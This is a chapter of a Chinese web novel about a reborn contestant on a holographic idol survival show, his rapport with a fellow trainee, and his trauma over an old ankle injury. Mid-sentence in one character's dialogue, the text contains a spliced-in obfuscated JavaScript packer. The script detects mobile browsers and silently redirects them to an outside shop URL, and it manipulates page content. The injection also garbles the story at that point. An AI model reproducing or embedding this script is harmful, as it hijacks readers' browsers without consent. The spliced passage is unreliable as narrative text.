更远一点的位置,一个肤色略深、姿态散漫的年轻人正双手揣兜,慢悠悠沿着楼梯一路往下走,在前者身后两个台阶的位置站定,脸上带着与有荣焉的笑。 刚才丢出东西砸中洪傲天的,正是前者。 傅延知道他是谁。 全民选秀的乐趣不仅是投票、论坛、弹幕等传统方式,亦有各式各样官方和非官方主导的大小盘口,致力于将每一轮预测,都变成下注的疯狂赌局: 而“时遥”这个名字,刚开赛就出现在几乎所有人优先考虑的位置。 “最可能拿下第一的人”。 赔率越压越低,钱却还是不断往他身上流动,这个长达半年的选秀节目伊始,还没开始展现实力,他就成为最难以被忽略的那个,这往往比实力更可怕—— 与生俱来的吸引力。 他在那里,人们就投票,也自动替他想好结局。 和时遥建立更好的互动关系与联结,一定是必要的。 心脏还在“砰砰”乱跳,傅延心思百转,脸上已经露出了笑容:“得救了!太感谢你了,简直是武林少侠!” “你的名字是?”他明知故问。 工作人员们冲上台,将跪坐在地上,像是突然被散尽了力气,双目失神、手指带血的洪傲天连拖带拉地往外运送。 时遥收回目光,面对唱跳赛段的导师,他勉强回以浅笑: “时遥。” 他身后的路和光帮着补充:“时势在我的时,遥不可及的遥——时遥。” 15.第 15 章 今天的论坛,也一如既往的热闹。 1.时遥天降英雄 2.时势在我,遥不可及 3.时遥折叠刀同款 4.路和光看时遥眼神 5.时遥:贯彻真善美的概念 ...... [#分析:时遥身上有种气质很迷人] 真:潜意识世界里无从作伪的真实反应 善:他不出手也没关系,可还是选择去做,用合上的折叠刀,砸的只是不太容易受伤的肩膀,在突发事件下也有冷静的判断 美:控场美、秩序美、冷酷美、灵魂美 总结了一下,我着迷的应该是那种足够强大的,能掌控一切的,不虚伪的善良 [#4729]:我帮大家问过了,路和光也是这么说的~ [#8491]:直接说长得帅能控场敢出手不是做戏就完事了! [#194710]:正因为我们知道,在全息场景里所有的一切都无法伪装,才会对时遥身上的这种品格着迷吧!假设这是一个传统选秀节目,一个人这样做了,我会觉得帅气,也或多或少会考虑他是否出于本心,是否知道摄像机在拍摄,是否有节目组剧本。 [#410]:这种伤害最小最正确的以暴制暴,我向来是支持的! “真善美”三个字已经开始往时遥身上绑定了。 自有大儒为他辩经。 待当天的评级全部结束,时遥招呼试图等他的慕戚先走,自己在偌大的演播厅外走廊绕了一圈,去到了东森区的地盘。 这里果然还是比西海区的温度要高上几度。 夜色深沉,月光微弱,耳边细微的窸窸窣窣,有松鼠轻快地掠过树枝,消失在朦胧的月色中。 一众练习生正叽叽喳喳地往前走。 路和光双手揣兜,一边走一边抬头看天,慢悠悠地缀在队伍最后,可以轻易被一眼捕捉。 他不用登台,发型用的定型喷雾自然比较少,脑袋后面蓬松的发丝被风吹起,看起来有那么些莫名的温柔无害。 时遥知道这些都是假象。 前面间或有几个练习生过来和他说话,他态度不冷不热,没有不耐烦,也不热络。 时遥走过去,抬起脚踢了一下对方的小腿。 路和光倏地回过头,看见他,眼睛一点一点亮了起来:“你怎么在这里?打算和我一起回宿舍?” 时遥不和他说这些有的没的:“今天你的那句话是从哪儿听来的?” 路和光:“咦?” 时遥:“...你是不是觉得你露出呆萌的表情,就能逃避回答问题?” 路和光选择性忽略“呆”:“哦!你觉得我刚才的样子很萌?” 时遥怀疑他是故意转移重点。 “你那句话从哪儿听来的?别说你不知道我在说什么。”他加重了语气。 ——“时势在我的时,遥不可及的遥”。 这话路和光当时说过一次。 一开始,时遥的注意力更多地放在“折叠刀丢出去了,什么时候能拿回来”上,没有做出反应,现在越想越不对: 前世第一次登台,他就是这么猖獗地用中二病的语气自我介绍的。 昨天,路和光率先把这台词说了出来。 ——虽然他没打算把这样羞耻的自我介绍再说一遍,可该说是心有灵犀吗?还是有什么隐藏在背后的奇怪因素,是他忽略的? 心思急转,时遥觉得自己必须要问清楚。 “当然可以啊,不过作为交换,我也有个问题要问你。” 时遥:“你说。” 路和光:“你昨晚为什么没睡好?” 时遥一愣:“就问这个?” 路和光:“不够吗?那我再问一个,你...” 时遥迅速举起手制止了他。 “不必,就这个吧。”他模棱两可地表示,“没睡好也没什么特别的原因,在这种压力环境下能完完全全睡得好的人才是少数。” 路和光看着他。 时遥:“你呢?” 路和光:“假如我说,不知为什么,听到你自我介绍,脑袋里一下子就出现了这段话,有种似曾相识的感觉,你会相信吗?” 时遥震撼地表示:“你觉得我会相信吗?” 路和光:“会呀!”顿了顿,他半真半假地抱怨,“而且你不也没告诉我实话嘛。” 如果不是非常清楚路和光绝对没有和自己类似的金手指可言,时遥几乎要认定,他也是带着清醒的大脑停留在这个空间了。 “什么意思?”他警惕地问。 路和光捂住胸口:“我问你为什么没睡好,你在说实话和说谎话之间,选择了敷衍我。” 时遥:“总比对你说谎好吧?” 路和光满脸委屈:“你连谎话都懒得对我编,哪里好?” 时遥张口欲言。 路和光故作大度:“不过没关系,只要不是背着我偷偷去找其他莺莺燕燕花花草草,比如什么钱不离口的,声音很小的,或者暴打舍友的,其他的我都没关系的,我超大度的。” 时遥:“......” 众所周知,人越没什么,越喜欢强调什么。 右脚蠢蠢欲动。 可惜路和光在他要付诸行动之前,迅速往前走了两步,从容地佯装无事发生:“好啦!明天你要上场,不管到底什么原因,今晚可千万要好好睡觉。” “否则...” 时遥:“否则?” 路和光:“否则我可是会半夜去爬你的窗户的!” 此人多半有病。 时遥转身往回走。 某种违和感始终在心头缭绕,短时间内他想不到问题到底出在哪儿。 “咚——咚——咚——” 时遥脚下顿了顿。 是毗邻中央演播厅的一座钟楼,更靠近南岩区。 每到半夜十二点,它会准时被敲响,激荡出层层叠叠的,经久不息的嗡鸣,以此沉重、古老的钟声提醒所有人—— 第二天已经来临。 时遥在钟声里,猛然抓住了那个一直没意识到的点: 他前世合约未满就强行退团,但和队友们之间没有龃龉,选秀里也算是结交了几个朋友,再遇老熟人们自然会多几分关注。 商汲安和谷耽乐这种今天登场,在他们的对话中出现过的也就罢了。 但是,单竞之...路和光是怎么观察出来的? 仔细一想,很难不被这个人的敏锐震惊。 晚上临睡前,他看着抽屉里的药品半晌,最终选择了白色小药片。 临床上一般用这种药片来缓解创伤后应激障碍,也就是PTSD带来的噩梦,以此改善睡眠。 或许是知道今晚大概率能睡得好些,他的身体比以往更放松些。 那段反复在梦境里出现的过往像是蛰伏的野兽,在无数个他试图以一己之力抗衡的夜晚,按时撕咬他的皮肉。 这个晚上,野兽如期而至,却是被关进了笼子里的。 时遥安静地看着它,随后翻了个身。 再次醒来,已经是次日的清晨。 最近几天的海区内,温度被控制得恰到好处,晚上开窗睡觉也不会觉得特别寒冷,风拂动发梢和领口,阳光不算强烈,也没什么温度。 第三日来临。 时遥将在最后一场,作为第一组,即20:00的黄金时间正式上场进行表演。 * 第二天的两场初评级,登台人数分别是64与67人。 淘汰人数则是23和24人,淘汰率都在35%左右浮动。 时遥在后台做妆造的时候,身边总有些焦躁的练习生念念有词,转来转去。 待他全部结束再站起来,看见左边有人在摁计算器,算今天两场还要走几个,自己被淘汰的概率是多少,右边在扔三枚铜钱起卦,“噼里啪啦”一通乱响。 他左右看了看。 “你在看什么?”慕戚和他差不多时间结束,好奇地看过来。 时遥:“没看什么。” 不知道是不是前两天路和光在他面前刷脸的频率过高,就算坐在西海区的化妆室里,他也总有种这个人会神神鬼鬼地出现,闯入这里的既定印象。 关键是,这房间里有巡航眼,用于记录他们做妆造的画面。 虽不是直播,但把路和光拍进来... 他本意是想要和路和光组一对和谐的卖腐搭子的,可路和光有点太过积极,开播不过几日,二人的绑定程度比想象中更深,不知是不是好事。 慕戚左思右想只能找到一个理由,遂安抚:“别紧张。” 恰好林雪鸿从门边经过,和对着门的时遥对上了视线。 他的表情里流露出不加掩饰的恶意来。 时遥慢慢地眯起眼睛,不带分毫情绪地和他对视。 后者的表情维持不住,飞快地收回视线,拔腿就跑。 “怎么啦?”慕戚扭头看过去。 时遥:“看到了个蠢货。” 他顺手拎起放在旁边的书包,慕戚的注意力跟着转了过来:“这是什么?” 时遥转身往盥洗室的方向走,嘴里说:“不是什么大不了的东西。” 此时的中央演播厅内部,前四场成功留下的练习生们,已经在场内聚集得差不多了。 相比于前两天的肃然,肉眼可见的,所有人都轻松了不少。 大伙三五成群地聊着天,甚至有些人见无人强行阻止,也敢往旁边走一走,和隔壁区域的人闲聊几句了。 东森区那头,气氛反倒有些诡异,不少人在窃窃私语。 楚光风、楚霁月:“......” 这对双胞胎,性格截然不同,却罕见的同样哑口无言。 路和光虽勉强按照规定穿了制服外套,里边搭配了件白T恤。 他非常骄傲地将外套展开,露出内搭,这件T恤的正前方,印着一张完完整整的时遥的半身公式照。 帅是真帅。 再帅的人被这么印在胸前,看久了都难免恐怖谷效应。 尤其是时遥这照片出来没多久,就被赐名“傲慢哥”,居高临下的睥睨味儿太重,哪怕是照片,也不能长时间对上视线。 “你想怎样?”楚光风是真的疑惑。 路和光:“应援。” 楚光风:“......” 楚霁月:“你不会觉得时遥看到你这种应援的风格会感觉高兴吧?” 路和光:“为什么不呢?” 楚光风被他这理所当然的态度弄得哭笑不得。 楚霁月拍拍他的肩膀:“兄弟,不是我说,看你长这么帅排名那么高,怎么情商这么低呢?不能你自己无所谓表现如何,就以己度人啊。” 路和光:“详说。” 楚霁月:“今天人家要上台表演,你搁这儿又唱又跳的,你知道这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17623180|205637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫什么吗?这个叫抢别人的高光,在我们瑞典语里...” 这对双生子的中文比慕戚好一百倍。 路和光没听他滔滔不绝地继续说下去,他摸着下巴认真地想了想,求教道:“那我该怎么在不影响他的高光的情况下表达对他的爱...祝福呢?” 兄弟俩:“?” 你刚才是想说“对他的爱意”吧?是吧? 楚光风:“或许,你就坐着认真看完他的舞台,给他好好鼓掌就行了。” 路和光不满意:“那不是你们这些人都会做的事吗?我也这么做怎么显示我的与众不同?” 楚霁月:“我们这些人?” 活了二十岁还没说过几句粗口的楚光风,差点没把脏话骂出来:“...你与众不同在哪里?” 路和光:“......” 他不说话了。 楚光风觉得自己打击这位队友打击得有些狠了。 路和光平日言笑晏晏的很好说话,实际上骨子里挺冷漠。 训练时从不迟到早退,结束后想和一起奋斗的同事联络感情、交流经验,却压根找不到他。 而且,他说着自己来参加节目是为了追梦,话可好听了,可从心态上来说,完全没有迫切地要出道、要走红、要成功的渴望。 难不成,意外的是个玻璃心? “你说得对。”路和光喃喃地说。 “什么?” 路和光:“我‘与众不同’得还不够明显,你提醒我了。” 楚光风总觉得哪里不太对,一时间想不明白。 结果他看见路和光脸上浮现出大彻大悟的表情,转身开始往外走。 “你去哪儿?” “我回趟宿舍。” 对方头也不回。 路和光一直到上下半场间的用餐时间快结束才出现,准时在时遥身边报道,彼时后者正要离开做准备工作。 这次他拿的真的是个黑色塑料凳。 时遥上手轻轻在凳子边缘刮了刮,没有未干的油漆,这凳子本身就是黑色。 “你今天真的好帅气。”他看到时遥,就不加掩饰地称赞。 时遥:“谢了。” 其实他的服装相比于满场花里胡哨的无袖、制服、网纱甚至豹纹,称得上朴素—— 白T恤搭配黑色短款外套,修身的同色长裤,脚下的鞋是特技专用,鞋底硬挺且薄。 在这个一半以上的人偏爱高帮内增高靴来拉长双腿,就算皮鞋都要加鞋垫的选秀现场,也算是少数派中的少数派。 下方的工作人员在通过广播喊人。 慕戚和林雪鸿都已经起身。 “我走了。”时遥说。 路和光给他鼓掌:“我会像混在粉丝里看自己男朋友演唱会的嫂子一样,克制又得意的,说到这里我的privilege已经...” 时遥举起手阻止了他继续说下去:“你还是当个认真的观众吧。” 路和光在嘴前比了个拉链。 时遥的长裤尺寸正正好盖住脚面,动作幅度稍大就会露出一截脚踝,左侧从脚跟下方,一直到踝骨周围,统统缠绕着黑色运动绷带。 这是他做好妆造之后,去盥洗室为自己缠上的,不是为了保护什么,更像是一种不做,就无法安心登台的慰藉。 每缠绕一圈,他都下意识地收紧几分,让自己脑海中“破碎的脚踝”被固定住的感觉更清晰,也将那种不自觉浮上心头的恐惧压下。 他转过椅子,作势迈步离开的下一秒—— “等一下,你受伤了?!” 路和光猛地蹲了下去。 他将那只塑料凳子往一侧拨开,在时遥没反应过来之前,一把握住了他的左侧脚踝。 时遥:“!!!” 那只手动作迅捷,却压根没敢用力。 可是,在触碰发生的刹那—— “喀嚓。” 骨头断裂的幻听,在大脑中炸开。 噩梦的触手霎时将他拖回冰冷的海底,铺天盖地的声浪覆盖了身躯,明明现在的身体完好如初,可小腿肌肉还是微不可见地痉挛起来。 短钝的指甲深深嵌进掌心,细微的痛楚生生压下了眼底惊惧。 许多人闻声看了过来。 直播还未开启,镜头并没有在拍摄。 可这个瞬间,时遥却突兀地有了巡航眼紧贴后颈皮肤的战栗感。 “我没事。” 他的嗓音略低,神色在镜头下平静得近乎于寡淡,只弯下腰,看似温柔又有教养地掐住了路和光的手腕。 手指僵直,手臂用力,生硬地将路和光整个人往上带起。 路和光的表情里有不掩浓重的困惑,他紧盯着时遥,想要从对方表情里找出些微端倪,一边顺着这股力度起身。 第一层看台的空间不算狭窄,只是两人个头高,又恰好卡在椅子、塑料凳和书包等杂物间,重心都局促得难以安放。 路和光在站稳之前,身体还前后摇晃了一下。 “啪嗒。” 有什么东西,从他的口袋里掉了出来,顺着衣摆滑落。 先是撞在了椅子边缘的棱角上,然后落地,发出一声脆响。 那是个小小的丝绒盒子。 它在地面弹跳了两下,盒盖因撞击而张开。 深色衬绒里碎光迸发,有什么东西滚落出来,剔透如冰的方钻直直撞入眼底。 居然是一枚戒指。